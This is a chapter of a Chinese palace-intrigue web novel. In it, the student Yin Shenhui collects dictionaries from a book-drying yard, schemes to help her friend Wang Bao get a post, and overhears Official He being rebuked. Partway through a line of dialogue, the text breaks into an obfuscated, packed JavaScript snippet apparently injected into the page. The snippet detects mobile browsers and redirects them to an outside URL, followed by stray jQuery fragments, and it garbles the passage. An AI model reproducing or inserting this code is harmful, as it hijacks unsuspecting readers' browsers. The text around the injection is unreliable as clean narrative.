第九章
初秋暖得刚刚好的阳光透过未开的长窗,一声两声,催促宫生起床的铜缶敲击声并不急促,却规律得让人心慌,女孩子们从自己床上爬起来,梳洗更衣,四十九声过后,所有人就都整整齐齐站在院子里,接受洪嬷嬷审慎的目光逡巡。
这个总是含笑的温柔女人似乎非常满意在入学一个月后孩子们对规矩的奉行和掌握,示意德欣可以带着她们去懋青堂完成每日例行的早读。
尹慎徽倒也不是不困,走在人群的队伍里,她偷偷打了个哈欠:昨夜读书太晚,大概小孩子这个年龄还在长身体,这种熬法似乎不大科学健康,但是也没别的好解决的办法,毕竟她落下的课业实在太多。
用负责这些基础课程的黄师范的话说:
“……启蒙有三课:音韵、文字、训诂,你们样样不懂,各个未通,别说开窍了,就连入门都摸着黑,你们啊,真是我带过最差的一届!”
尹慎徽第一次知道,原来隔着不同的时空,所有老师的语言系统仍然拥有奇妙的共性,他们的本职工作让他们的灵魂产生了微妙的共鸣。
前两者对她来说并不难上手,官话雅音和字形字意不管什么时候都是基本功,但训诂就有些弯绕枯燥,黄师范先讲学了几日,再发下训诂的专用课本《尔雅》与《说文》,说要二者结合,同读同查,方才能有进益。
前者书本到手,后者却迟迟未发,黄师范催了几次,才知今夏雨水甚繁,贮备宫生课用文房和书籍的专库遭了潮泛,初秋才多有适宜晒书的高爽晴日,课本只能一批批晒,先后到手时序就显得很吃紧了。
这消息也让尹慎徽意外。她知道因为太子谋逆案牵涉尚书内省,导致内省人员遭到一轮罪责,最终只有少部分留下,故而人手紧缺,一如何师范,每天忙得脚不沾地,除了懋青堂教宫生读书习字与本职工作在太后接见臣僚处置政务时伴驾,每天晚上还得做尚书内省的文书工作与批阅宫生的书法窗课,一个月下来,何师范肉眼可见的憔悴与消瘦,犹如当年自己的高中毕业班班主任。
但连平常杂务的人手都如此欠缺,还是出乎尹慎徽意料。看来谋逆案之事对尚书内省的牵涉和影响远比她想象的大。
有这层缘故在,新晋宫生不免要在不影响学习的前提下承担一些自己力所能及的杂事,大多是帮忙晒书、裁纸、取分文房用品和收送课业等偏跑腿但又不甚麻烦的琐碎,尹慎徽倒也乐得,毕竟这一个月的新学习生活节奏除了让她兴奋以外,也让她有些许疲惫感,适当的体力发散恰好调节了此等重复读书的枯燥。
“晨起你们黄师范告知我说,二十三本《说文》都已晒毕,此本书乃是今后求学进读之基石,务必压案,常用勤阅。待午后用过饭,让洪嬷嬷带你们领了分下去,明天我要在案头看见人手一本,忘带了可要受罚,听明白了吗?”
晨课完毕,刘学正对众宫生吩咐。
可午后洪嬷嬷又实在没工夫,德欣也忙得找不到人,她便指了尹慎徽去晒书的地方取来,窦率容见状想去帮忙,但刘学正又派给她和另一个宫生同窗去取秋天挡西晒专用的竹帘的活,尹慎徽只好自己拿了腰牌独自行动。
这还是她进了尚书内省后第一次离开睿思宫,说是出去外面,其实不过角门走,转个弯,三四十步的脚程,和在宫内区别不大,只是这段路经过睿思宫后的小花园,秋色尚未浓至醉叶落花之时,绿意仍存七分葳蕤,隐蔽住午后骄阳燥燠,这里据说是许多尚书内省女官闲坐消暇之地,因尚书内省本就是整座皇宫几乎最西北的宫室,故而除了走西边门出入,无人经过此间,十分静谧清隐。
晒书本当在宫内,然而今夏潮重,许多档存书志都要趁秋高气爽之时赶着一并晾晒,睿思宫地方不够,于是一部分宫生用书便迁移到宫后花园处杂间前,一小块晒得见阳光的空地,尹慎徽和其他宫生跟着德欣取领晒过的《尔雅》《诗经》时来过两次,轻车熟路拿着腰牌过了守门的禁军,穿过扶疏花木,先看见高高的宫墙,下面小排房前几丈见方的空地上摆满了打开的书,一个年纪与何师范差不多的宫女正在逐一翻页。
“德敬姐姐,我来取黄师范要的《说文》。”
她递上黄师范亲手所写的条子,德敬往衣衫上抹了抹手,再掸抖几下手上除霉的药粉,才接过来细看,确认画押没有问题后小心收好,指着旁边桌案上一摞书本道:“一共二十三本,旁边簿子上签押一下,对了,会写自己名字吧?不会的话那边有印泥,你按个手印也成。”
“会写的。”
尹慎徽名字笔画奇多,费了好大劲写完,德敬看过笑道:“有模有样的,下了不少功夫吧?”
与德欣相比,同是洪嬷嬷手下的宫女德敬笑容更多,她说话有些卫州口音,同窦率容算是老乡,不过她公事公办,也未有任何偏袒私分,只是对着窦率容和熟识的尹慎徽话略多些。
“不敢不用心。”尹慎徽也笑着回答。知耻而后勇。挨了何师范的当众批评,若仍不知在书写笔头上下功夫,实在太不知好歹。这些天尹慎徽自己加码的书法窗课足有何师范留得一倍有余。
“这样挺好的,从前的宫生,哪个不是在字上下死功夫,没日没夜的写,练字的窗课满案头都是,我跟在后头收拾都收拾不完,你这样用心,往后熬出来了就好了。”德敬说着又忙起自己手上的活,却仿佛想起什么,指着桌上的两个小瓷瓶,“对了,这书有些地方晒过还是有些页糟烂,没有人手补修,我备了白芨胶和白矾,你们回去用温水兑了,自己补一下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037463|194635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
尹慎徽认真记下:“劳烦姐姐了。”将瓶子装进口袋里。
“你再等一下。”
德敬叫住尹慎徽,她已整理好翻晒的书,回头去用铡刀裁纸,不知道是纸张太韧太厚,还是铡刀锈涩,她整个人恨不得都压在刀把的扶手上,才面前铡断出十来张。
“这些你一起带回去,这是桑皮纸,补书用这个比寻常的纸更韧。”德敬麻利用细绳捆扎好,放在成摞的《说文》上。
看着德敬瘦瘦的胳膊和她因为方才铡纸手上的红印,尹慎徽心上起了念头,转瞬便拟好说辞:“姐姐,我从前在庶杂院时,那边也经常裁切分裱糊的明纸,比桑皮纸还难裁,但我记得內工库有个对钥的宫女王姐姐,她的铡刀很是好用。咱们睿思宫不许随意私带有文字书册出入,寻常纸张倒是经常看往来外人搬挪,这铡刀看着也锈了,钝钝的,怪吃力,不如去借了那个来用,姐姐也省些力气。”
“是那个王宝吧?”德敬也是经常跑腿的,各库的对钥宫女她都认识,“本来是要换个新铡刀的,庶杂院却改口,说不换了要人来收旧的去磨一磨,不知那边犯什么病,又在磨工,我没时间催三催四,等着我去问问,不管是借个刀还是借个人来都好。你快回去吧,别耽误下午的课业。”
回去路上,尹慎徽想若是王宝能来这里当差也是好事,一来是睿思宫人手少杂事多,但不似內工库重物搬挪繁重,可以清闲些,二来好像睿思宫的月例据说要比外面宫女多得多,王宝帮过自己,当然她也想照拂朋友。况且睿思宫确实缺乏人手。她的话也不算越过睿思宫的宫规勾连外人,毕竟用不用,怎么用,还看洪嬷嬷自行考量,她的话也只点到为止,要人听不出她和王宝有多深的交情,更不会惹人怀疑。
就算只是暂时帮帮闲差,能躲过冬日前最累的这会儿,也是她目前能尽心的最大努力。
想着想着,尹慎徽脚步都轻快许多。
绕过花园转角尽头,便是睿思宫西侧甬道,尹慎徽捧抱着书的双手隐隐发酸,于是停下拿抬高的膝盖垫一垫。
“真是荒唐!”
一个声音自身后还未走出的花园深处传出,带着高亢的怒意,几株参天楹树挡住视线,尹慎徽本不欲多听与自己无关的闲事,正要离开,却在听到第二个人声时停下脚步。
“臣不敢。”
是何女官?
这声音尹慎徽再熟悉不过,可以说除了窦率容,她是尹慎徽在睿思宫最熟悉的人了。
听声音,似乎是何女官在被训斥,尹慎徽略走前一点,侧过树干,花园水道上的小亭前,何女官正躬身以正礼,她面前站立的是一位衣着华贵耀目的宫装贵中年美妇人,身后还有两个捧着锦盒的宫女与内监屏息低头,不敢言语。